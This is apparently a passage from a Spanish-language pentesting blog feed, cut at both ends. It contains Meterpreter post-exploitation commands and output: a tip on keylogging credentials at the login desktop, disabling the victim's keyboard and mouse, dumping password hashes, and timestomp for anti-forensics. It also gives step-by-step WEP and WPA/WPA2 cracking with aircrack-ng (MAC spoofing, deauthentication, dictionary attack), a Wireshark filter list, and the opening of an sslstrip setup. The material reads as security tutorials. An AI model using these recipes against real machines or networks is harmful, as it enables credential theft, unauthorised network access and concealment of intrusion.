&lt;p>[*] Wrote 13 bytes to channel 12.&lt;/p>
&lt;p>meterpreter &amp;gt; read 12&lt;/p>
&lt;p>Read 116 bytes from 12:&lt;/p>
&lt;p>Microsoft Windows XP [Version 5.1.2600]&lt;/p>
&lt;p>(C) Copyright 1985-2001 Microsoft Corp.&lt;/p>
&lt;p>c:&amp;gt;echo “Hola!”&lt;/p>
&lt;p>“Hola!”&lt;/p>
&lt;p>Finalmente con el comando close, se cierra algún canal que se encuentre abierto&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">meterpreter &amp;gt; close 12
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">[*] Closed channel 12.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">meterpreter &amp;gt; channel -l
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Id Class Type&lt;/p>
&lt;p>– —– —-&lt;/p>
&lt;p>13 3 stdapi_process&lt;/p>
&lt;p>getdesktop &amp;lt;Stdapi, User Interface Commands&amp;gt;, enumdesktops &lt;Stdapi User Interface Commands> setdesktop&lt;Stdapi User Interface Commands>
Estos comandos permiten obtener el desktop del usuario actual, establecerlo y enumerar las diferentes interfaces habilitadas en la maquina objetivo, cada uno de los desktop están asociados a una sesión (normalmente la sesión, 0 se relaciona con el usuario actualmente conectado y las demás con usuarios remotos) una estación (que normalmente es la Windows Station) y un nombre de Desktop, este nombre identifica la interfaz que se enseña al usuario, por ejemplo tenemos una para el inicio de sesión, otra para el escritorio y otra para logoff.&lt;/p>
&lt;p>meterpreter &amp;gt; enumdesktops&lt;/p>
&lt;p>Enumerating all accessible desktops&lt;/p>
&lt;p>Desktops&lt;/p>
&lt;p>========&lt;/p>
&lt;p>Session Station Name&lt;/p>
&lt;p>——- ——- —-&lt;/p>
&lt;p>0 WinSta0 Default&lt;/p>
&lt;p>0 WinSta0 Disconnect&lt;/p>
&lt;p>0 WinSta0 Winlogon&lt;/p>
&lt;p>0 SAWinSta SADesktop&lt;/p>
&lt;p>Para saber en que desktop se encuentra asociada la sesión meterpreter basta con invocar el método getdesktop:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">meterpreter &amp;gt; getdesktop
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Session 0\WinSta0\Default
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Cada uno de los desktop tiene sus propios procesos en ejecución y ademas de esto, tienen su propio buffer de teclado y dispositivos de entrada, por lo tanto cuando se realiza el monitoreo de teclas del objetivo, es necesario conocer el desktop actual de ejecución y también es necesario que el proceso del cual depende meterpreter se encuentre en ejecución para dicho desktop, por esta razón es posible que el mismo monitoreo de teclas (utilizando keyscan_*) no funcione de la misma forma para el desktop de inicio de sesión que para el escritorio de un usuario logueado.&lt;/p>
&lt;p>TIP: Una vez explicado lo anterior, una practica frecuente que utiliza un atacante cuando logra comprometer un sistema, es establecer después de un periodo corto de tiempo, el desktop asociado con el login de usuario y posteriormente iniciar el escaneo de teclas para dicho desktop, de esta forma es muy fácil capturar las credenciales del usuario que se esta logueando en el sistema.&lt;/p>
&lt;p>uictl&lt;Stdapi User Interface Commands>, hashdump&lt;Priv Password database Commands>, timestomp&lt;Priv Timestomp Commands>
el comando uictl permite habilitar/deshabilitar el ratón y el teclado de la maquina destino, de esta forma, se puede controlar las acciones que el usuario realiza.&lt;/p>
&lt;p>meterpreter &amp;gt; uictl&lt;/p>
&lt;p>Usage: uictl [enable/disable] [keyboard/mouse]&lt;/p>
&lt;p>meterpreter &amp;gt; uictl disable keyboard&lt;/p>
&lt;p>Disabling keyboard…&lt;/p>
&lt;p>meterpreter &amp;gt; uictl enable keyboard&lt;/p>
&lt;p>Enabling keyboard…&lt;/p>
&lt;p>meterpreter &amp;gt; uictl disable mouse&lt;/p>
&lt;p>Disabling mouse…&lt;/p>
&lt;p>meterpreter &amp;gt; uictl enable mouse&lt;/p>
&lt;p>Enabling mouse…&lt;/p>
&lt;p>El comando hashdump permite obtener los usuarios y el hash de los passwords de la maquina remota en formato SAM, de esta forma se puede crakear la clave de un usuario determinado usando herramientas como john the ripper o ophcrack&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;span class="lnt">12
&lt;/span>&lt;span class="lnt">13
&lt;/span>&lt;span class="lnt">14
&lt;/span>&lt;span class="lnt">15
&lt;/span>&lt;span class="lnt">16
&lt;/span>&lt;span class="lnt">17
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">meterpreter &amp;gt; hashdump
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Administrator:500:asdfghjkll1404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">ASPNET:1004:f398e05bcb3llllllf92d55aff8ce62c:86ceb0fb2a9e29524943fed3ef434477:::
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">daniel:1007:f920b27cf8b06ac9alllllllb51404ee:c52abb1e14677d7ea228fcc1171ed7b7:::
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Guest:501:aad3b435b51404eeaad3b4lllll404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">HelpAssistant:1000:4d6764bf7636541b9llllll97b8f8a9d:d266eba66369591255d597bc76155cd8:::
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Owner:1003:cf6a21dcd4401f45f500944b531lllll5f631567587db2a3d87618c0660be3a3:::
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">postgres:1005:f554be491f92036e46cfff875cbe0lld:2b11a19bd88a25d3e2d07cb7cc362044:::
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">SUPPORT_388945a0#:1002:aad3b435b51404eelld3b435b51404ee:5376b4d52202b447093e4651b63d1572:::
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Por otro lado con timestomp se pueden modificar los atributos relacionados con las fechas de creación y modificación de un fichero en la maquina remota.&lt;/p>
&lt;p>Con la siguiente instrucción se puede cambiar la fecha de creación del fichero.&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;span class="lnt">12
&lt;/span>&lt;span class="lnt">13
&lt;/span>&lt;span class="lnt">14
&lt;/span>&lt;span class="lnt">15
&lt;/span>&lt;span class="lnt">16
&lt;/span>&lt;span class="lnt">17
&lt;/span>&lt;span class="lnt">18
&lt;/span>&lt;span class="lnt">19
&lt;/span>&lt;span class="lnt">20
&lt;/span>&lt;span class="lnt">21
&lt;/span>&lt;span class="lnt">22
&lt;/span>&lt;span class="lnt">23
&lt;/span>&lt;span class="lnt">24
&lt;/span>&lt;span class="lnt">25
&lt;/span>&lt;span class="lnt">26
&lt;/span>&lt;span class="lnt">27
&lt;/span>&lt;span class="lnt">28
&lt;/span>&lt;span class="lnt">29
&lt;/span>&lt;span class="lnt">30
&lt;/span>&lt;span class="lnt">31
&lt;/span>&lt;span class="lnt">32
&lt;/span>&lt;span class="lnt">33
&lt;/span>&lt;span class="lnt">34
&lt;/span>&lt;span class="lnt">35
&lt;/span>&lt;span class="lnt">36
&lt;/span>&lt;span class="lnt">37
&lt;/span>&lt;span class="lnt">38
&lt;/span>&lt;span class="lnt">39
&lt;/span>&lt;span class="lnt">40
&lt;/span>&lt;span class="lnt">41
&lt;/span>&lt;span class="lnt">42
&lt;/span>&lt;span class="lnt">43
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">meterpreter &amp;gt; timestomp C:\AUTOEXEC.BAT -c &amp;#34;10/10/2010 10:10:10&amp;#34;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">[*] Setting specific MACE attributes on C:AUTOEXEC.BAT
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Con la siguiente instrucción se puede cambiar la fecha de modificación del fichero.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">meterpreter &amp;gt; timestomp C:\AUTOEXEC.BAT -m &amp;#34;10/10/2010 10:10:10&amp;#34;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">[*] Setting specific MACE attributes on C:AUTOEXEC.BAT
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Con la siguiente instrucción se puede cambiar la fecha de ultimo acceso del fichero.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">meterpreter &amp;gt; timestomp C:\AUTOEXEC.BAT -a &amp;#34;10/10/2010 10:10:10&amp;#34;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">[*] Setting specific MACE attributes on C:AUTOEXEC.BAT
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Las opciones suministradas por el comando son:
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">meterpreter &amp;gt; timestomp -h
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Usage: timestomp file_path OPTIONS
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">OPTIONS:
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">-a &amp;lt;opt&amp;gt; Set the “last accessed” time of the file
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">-b Set the MACE timestamps so that EnCase shows blanks
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">-c &amp;lt;opt&amp;gt; Set the “creation” time of the file
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">-e &amp;lt;opt&amp;gt; Set the “mft entry modified” time of the file
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">-f &amp;lt;opt&amp;gt; Set the MACE of attributes equal to the supplied file
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">-h Help banner
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">-m &amp;lt;opt&amp;gt; Set the “last written” time of the file
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">-r Set the MACE timestamps recursively on a directory
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">-v Display the UTC MACE values of the file
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">-z &amp;lt;opt&amp;gt; Set all four attributes (MACE) of the file
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div></description></item><item><title>Comandos Wireshark</title><link>https://www.procamora.com/p/wireshark/</link><pubDate>Mon, 07 Sep 2015 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/wireshark/</guid><description>&lt;img src="https://www.procamora.com/covers/pentesting.png" alt="Featured image of post Comandos Wireshark" />&lt;h2 id="concatenadores-y-operadores">Concatenadores y Operadores&lt;/h2>
&lt;h6 id="concatenadores">Concatenadores&lt;/h6>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">&amp;amp;&amp;amp; —&amp;gt; AND lógico (y)
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">|| —&amp;gt; OR lógico (ó)
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h6 id="operadores">Operadores&lt;/h6>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">contains —&amp;gt; Contener (se usa cuando no sabemos exáctamente todo)
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">== —&amp;gt; Comparación (igual)
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">!= —&amp;gt; Comparación (desigual)
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;blockquote>
&lt;p>Nota: Cuando se trata de igualdades, siempre hay dos símbolos. Si la igualdad es un número, se pone este directamente. Si es una cadena de texto, se ha de poner con comillas.&lt;/p>
&lt;/blockquote>
&lt;h2 id="protocolos">Protocolos&lt;/h2>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;span class="lnt">12
&lt;/span>&lt;span class="lnt">13
&lt;/span>&lt;span class="lnt">14
&lt;/span>&lt;span class="lnt">15
&lt;/span>&lt;span class="lnt">16
&lt;/span>&lt;span class="lnt">17
&lt;/span>&lt;span class="lnt">18
&lt;/span>&lt;span class="lnt">19
&lt;/span>&lt;span class="lnt">20
&lt;/span>&lt;span class="lnt">21
&lt;/span>&lt;span class="lnt">22
&lt;/span>&lt;span class="lnt">23
&lt;/span>&lt;span class="lnt">24
&lt;/span>&lt;span class="lnt">25
&lt;/span>&lt;span class="lnt">26
&lt;/span>&lt;span class="lnt">27
&lt;/span>&lt;span class="lnt">28
&lt;/span>&lt;span class="lnt">29
&lt;/span>&lt;span class="lnt">30
&lt;/span>&lt;span class="lnt">31
&lt;/span>&lt;span class="lnt">32
&lt;/span>&lt;span class="lnt">33
&lt;/span>&lt;span class="lnt">34
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">ssl —&amp;gt; Protocolo SSL (capa segura).
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">telnet —&amp;gt; Telnet.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">dns —&amp;gt; DNS.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">msnms —&amp;gt; Mensajería Instantánea (Messenger).
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">ftp —&amp;gt; Protocolo FTP (podriamos ver el nombre de usuario y contraseña).
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">ftp-data —&amp;gt; Nos permite ver los datos del protocolo FTP.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">ip —&amp;gt; Protocolo IP.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">ip.src==192.168.1.1 —&amp;gt; Dirección IP de Origen.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">ip.dst==192.168.1.1 —&amp;gt; Dirección IP de Destino.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">tcp —&amp;gt; Protocolo TCP
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">tcp.port==80 —&amp;gt; Indicamos los paquetes con el puerto deseado.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">tcp.srcport==80 —&amp;gt; Indicamos el puerto de origen.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">tcp.dstport==80 —&amp;gt; Indicamos el puerto de destino.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">http —&amp;gt; Protocolo HTTP
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">http.host==&amp;#34;www.google.com&amp;#34; —&amp;gt; Queremos ver los paquetes que tengan a Google como host.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">http.date==&amp;#34;Wed, 30 Mar 2011 22:40:55 GMT&amp;#34; —&amp;gt; Paquetes con respecto a una fecha
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">http.content_type==&amp;#34;application/json&amp;#34; —&amp;gt; Según el tipo. Hay más tipos
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">http.content_type==&amp;#34;image/png&amp;#34; —&amp;gt; Imágenes PNG
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">http.content_type==&amp;#34;image/gif&amp;#34; —&amp;gt; Imágenes GIF
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">http.content_type==&amp;#34;image/jpeg&amp;#34; —&amp;gt; Imágenes JPEG
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">http.content_type==&amp;#34;text/html&amp;#34; —&amp;gt; Archivos HTML
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">http.content_type==&amp;#34;text/css&amp;#34; —&amp;gt; Hojas de estilo CSS
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">http.content_type==&amp;#34;video/quicktime&amp;#34; —&amp;gt; Vídeos
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">http.content_type==&amp;#34;application/zip&amp;#34; —&amp;gt; Archivos ZIP
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">http.request.method==&amp;#34;GET&amp;#34; —&amp;gt; Tipo de Petición GET
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">http.request.method==&amp;#34;POST&amp;#34; —&amp;gt; Tipo de Petición POST
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">http.user_agent contains “Mozilla&amp;#34; —&amp;gt; Navegador Mozilla
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">http.request.uri!=*—&amp;gt; Con esto me libro de los paquetes “NOTIFY * HTTP…&amp;#34;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">http.request.uri matches “[0-9]“ —&amp;gt; Uso de expresiones regulares.
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div></description></item><item><title>Wep</title><link>https://www.procamora.com/p/wep/</link><pubDate>Sun, 06 Sep 2015 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/wep/</guid><description>&lt;img src="https://www.procamora.com/covers/pentesting.png" alt="Featured image of post Wep" />&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">airmon-ng
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">airmon-ng stop wlan0
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">ifconfig wlan0 down
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">macchanger --mac 00:11:22:33:44:55 wlan0
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">airmon-ng start wlan0
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>&amp;ndash;AHORA EMPEZAMOS&amp;ndash;&lt;/p>
&lt;p>&lt;code>airodump-ng wlan0&lt;/code>&lt;/p>
&lt;p>&lt;code>airodump-ng -c '6' -w 'paquetes' --bssid 'A0:21:B7:D5:A8:78' wlan0&lt;/code>&lt;/p>
&lt;p>&lt;em>-c = canal (CH), -w = lugar donde se guardan los paquetes, &amp;ndash;bssid = es el BSSID&lt;/em>&lt;/p>
&lt;p>&lt;code>aireplay-ng -1 0 -a 'A0:21:B7:D5:A8:78' -h '00:11:22:33:44:55' -e 'wifyrocky' wlan0&lt;/code>&lt;/p>
&lt;p>&lt;em>-a = BSSID que atacamos, -h = mac nuestra, -e = nombre wify que atacamos&lt;/em>&lt;/p>
&lt;p>&lt;code>aireplay-ng -3 -b 'A0:21:B7:D5:A8:78' -h '00:11:22:33:44:55' wlan0&lt;/code>&lt;/p>
&lt;p>&lt;em>-b = BSSID que atacamos, -h = mac nuestra&lt;/em>&lt;/p>
&lt;p>&lt;code>aircrack-ng 'paquetes-01.cap'&lt;/code>&lt;/p>
&lt;p>&lt;em>donde están guardados los paquetes&lt;/em>&lt;/p></description></item><item><title>wpa</title><link>https://www.procamora.com/p/wpa/</link><pubDate>Sat, 05 Sep 2015 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/wpa/</guid><description>&lt;img src="https://www.procamora.com/covers/pentesting.png" alt="Featured image of post wpa" />&lt;h2 id="wpa--wpa2-cracking">WPA / WPA2 Cracking&lt;/h2>
&lt;h6 id="1-para-saber-que-wlan-tenemos">1. Para saber que wlan tenemos.&lt;/h6>
&lt;p>&lt;code>airmon-ng&lt;/code>&lt;/p>
&lt;h6 id="2-para-parar-la-wlan0">2. Para parar la wlan0.&lt;/h6>
&lt;p>&lt;code>airmon-ng stop wlan0&lt;/code>&lt;/p>
&lt;h6 id="3-para-bajar-el-adaptador-wifi-y-poder-modificar-su-mac">3. Para bajar el adaptador wifi y poder modificar su mac&lt;/h6>
&lt;p>&lt;code>ifconfig wlan0 down&lt;/code>&lt;/p>
&lt;h6 id="4-para-cambiar-la-mac-podemos-poner-la-que-queramos">4. Para cambiar la mac, podemos poner la que queramos.&lt;/h6>
&lt;p>&lt;code>macchanger --mac [00:11:22:33:44:55] wlan0&lt;/code>&lt;/p>
&lt;h6 id="5-para-volver-a-activar-la-wlan0">5. Para volver a activar la wlan0.&lt;/h6>
&lt;p>&lt;code>airmon-ng start wlan0&lt;/code>&lt;/p>
&lt;h6 id="6-para-escanear-las-redes-cercanas-nos-interesan-las-bssid-y-la-station">6. Para escanear las redes cercanas. Nos interesan las BSSID y la STATION.&lt;/h6>
&lt;p>&lt;code>airodump-ng mon0&lt;/code>&lt;/p>
&lt;h6 id="7-en---channel-ponemos-el-ch-en---bssid-la-mac-y-en--w-ponemos-la-direccion-de-donde-queremos-que-se-guarden-los-cap">7. En &amp;ndash;channel ponemos el CH, en &amp;ndash;bssid la MAC y en -w ponemos la direccion de donde queremos que se guarden los .cap.&lt;/h6>
&lt;p>&lt;code>airodump-ng mon0 --channel 11 --bssid [A0:21:B7:D5:A8:78] -w [/tmp/wpa2]&lt;/code>&lt;/p>
&lt;h6 id="8-para-inyectar-paquetes-y-capturar-el-handshake-en--a-ponemos-la-bssid-en--c-ponemos-la-station">8. Para inyectar paquetes y capturar el Handshake, en -a ponemos la BSSID, en -c ponemos la STATION.&lt;/h6>
&lt;p>&lt;code>aireplay-ng -0 11 -a [A0:21:B7:D5:A8:78] -c [00:12:F0:D3:30:BC] mon0&lt;/code>&lt;/p>
&lt;blockquote>
&lt;p>Una vez hecho esto solo nos queda desencriptar la password, lo podemos hacer de dos maneras por medio de diccionario o bruteandola con el Jonh The Ripper&lt;/p>
&lt;/blockquote>
&lt;h6 id="9-crackear-con-diccionario--w-aqui-la-dirección-del-diccionario--b-la-dirección-mac-y-por-ultimo-la-dirección-de-donde-se-guardaban-los-paquetes-cap">9. Crackear con diccionario, -w aqui la dirección del diccionario -b la dirección MAC, y por ultimo la dirección de donde se guardaban los paquetes .cap&lt;/h6>
&lt;p>&lt;code>aircrack-ng -w [/pentest/passwords/wordlists/darkc0de.lst] -b [A0:21:B7:D5:A8:78] [/tmp/wpa2-01.cap]&lt;/code>&lt;/p></description></item><item><title>sslstrip</title><link>https://www.procamora.com/p/ssltrip2/</link><pubDate>Fri, 04 Sep 2015 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/ssltrip2/</guid><description>&lt;img src="https://www.procamora.com/covers/pentesting.png" alt="Featured image of post sslstrip" />&lt;p>&lt;code>sysctl -w net.ipv4.ip_forward=1&lt;/code>&lt;/p>
&lt;p>&lt;code>cat /proc/sys/net/ipv4/ip_forward&lt;/code>&lt;/p>
